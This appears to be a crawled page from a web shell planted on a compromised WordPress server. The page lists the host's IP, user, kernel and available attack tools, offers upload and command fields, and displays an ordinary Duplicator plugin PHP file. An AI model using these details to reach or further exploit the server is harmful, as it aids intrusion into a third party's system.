403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.40
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/craft/wp-content/plugins/duplicator/classes/host/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/craft/wp-content/plugins/duplicator/classes/host/class.wpengine.host.php
<?php

use Duplicator\Libs\Snap\SnapIO;

// New encryption class

class DUP_WPEngine_Host implements DUP_Host_interface
{
    public function init()
    {
        add_filter('duplicator_installer_file_path', array(__CLASS__, 'installerFilePath'), 10, 1);
        add_filter('duplicator_global_file_filters_on', '__return_true');
        add_filter('duplicator_global_file_filters', array(__CLASS__, 'globalFileFilters'), 10, 1);
        add_filter('duplicator_defaults_settings', array(__CLASS__, 'defaultsSettings'));
    }

    public static function getIdentifier()
    {
        return DUP_Custom_Host_Manager::HOST_WPENGINE;
    }


    public function isHosting()
    {
        return apply_filters(
            'duplicator_wp_engine_host_check',
            file_exists(SnapIO::safePathUntrailingslashit(WPMU_PLUGIN_DIR) . '/wpengine-security-auditor.php')
        );
    }

    public static function installerFilePath($path)
    {
        $path_info = pathinfo($path);
        $newPath   = $path;
        if ('php' == $path_info['extension']) {
            $newPath = substr_replace($path, '.txt', -4);
        }
        return $newPath;
    }

    public static function globalFileFilters($files)
    {
        $files[] = wp_normalize_path(WP_CONTENT_DIR) . '/mysql.sql';
        return $files;
    }

    public static function defaultsSettings($defaults)
    {
        $defaults['package_zip_flush'] = '1';
        return $defaults;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit